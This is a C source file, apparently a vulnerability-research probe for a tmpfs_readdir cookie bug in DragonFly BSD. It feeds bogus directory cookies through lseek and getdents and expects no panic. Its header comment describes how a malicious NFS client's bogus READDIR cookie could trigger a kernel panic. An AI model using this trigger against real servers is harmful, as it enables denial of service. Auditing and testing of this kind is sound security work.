DF-0779 / df0779_local.c
/* * DF-0779 - tmpfs_readdir cookie-generation panic trigger. * * Two paths exercised: * * PATH A (LOCAL getdents): open a tmpfs dir, lseek the dir fd to a * BOGUS cookie value (attacker-controlled off_t), then getdents. * - On a tmpfs dir this exercises tmpfs_readdir() with * uio->uio_offset = <bogus>. We trace whether this reaches the * cookie-generation block (tmpfs_vnops.c:1697, entered only when * cookies != NULL). Source analysis says a local getdents passes * cookies==NULL (vfs_syscalls.c:4645), so the KKASSERT at :1719 * should NOT fire here -> we expect graceful return, NO panic. * * PATH B (NFS-server): the only VOP_READDIR callers that pass * non-NULL cookies are nfs_serv.c:3045/3337 (the NFS READDIR server), * where io.uio_offset is taken directly from the NFS client's READDIR * cookie (nfs_serv.c:3035). A malicious/buggy NFS client sending a * bogus cookie drives tmpfs_readdir's cookie loop, whose first * iteration does tmpfs_dir_lookupbycookie(node, off, exact=1) -> * returns NULL for a bogus cookie -> KKASSERT(de != NULL) at * tmpfs_vnops.c:1719 -> kernel panic. This is exercised separately * via a raw NFSv3 READDIR RPC to a tmpfs dir exported over NFS * (see run_nfs.sh). * * This program does PATH A. */ #include <sys/param.h> #include <sys/types.h> #include <sys/dirent.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> /* getdents syscall number on DragonFly (x86_64): 272 */ #ifndef SYS_getdents #define SYS_getdents 272 #endif static void try_cookie(const char *path, off_t cookie) { int fd = open(path, O_RDONLY | O_DIRECTORY); if (fd < 0) { printf("[cookie=%#llx] open(%s) failed: %s\n", (long long)cookie, path, strerror(errno)); return; } if (lseek(fd, cookie, SEEK_SET) < 0) { printf("[cookie=%#llx] lseek failed: %s\n", (long long)cookie, strerror(errno)); close(fd); return; } char buf[8192]; int n = syscall(SYS_getdents, fd, buf, sizeof(buf)); int e = errno; int entcount = 0; if (n > 0) { off_t off = 0; while (off < n) { struct dirent *d = (struct dirent *)(buf + off); entcount++; off += _DIRENT_DIRSIZ(d); } } printf("[cookie=%#llx] getdents rc=%d errno=%d (%s) entries=%d\n", (long long)cookie, n, n < 0 ? e : 0, n < 0 ? strerror(e) : "ok", entcount); close(fd); } int main(int argc, char **argv) { const char *dir = "/tmp"; if (argc > 1) dir = argv[1]; printf("DF-0779 PATH A: local getdents on tmpfs dir %s\n", dir); printf("Testing attacker-supplied bogus/huge/negative cookies via lseek+getdents.\n"); printf("(If this panics, the local-unpriv DoS claim holds. Source says it should NOT.\n"); printf("Surviving all of these => cookies block not reached locally.)\n\n"); off_t cookies[] = { 0xDEAD, /* small bogus */ 0x7FFFFFFFFFFFFFFFLL, /* TMPFS_DIRCOOKIE_EOF */ 0x4141414141414141LL, /* huge bogus */ (off_t)-1, /* negative */ (off_t)0x8000000000000000LL, /* sign bit set */ 2, /* first real cookie slot, bogus if dir empty */ 0x0BADF00D, /* another bogus */ }; size_t i; for (i = 0; i < sizeof(cookies)/sizeof(cookies[0]); i++) { try_cookie(dir, cookies[i]); } printf("\nAll cookie probes returned without panic.\n"); return 0; } |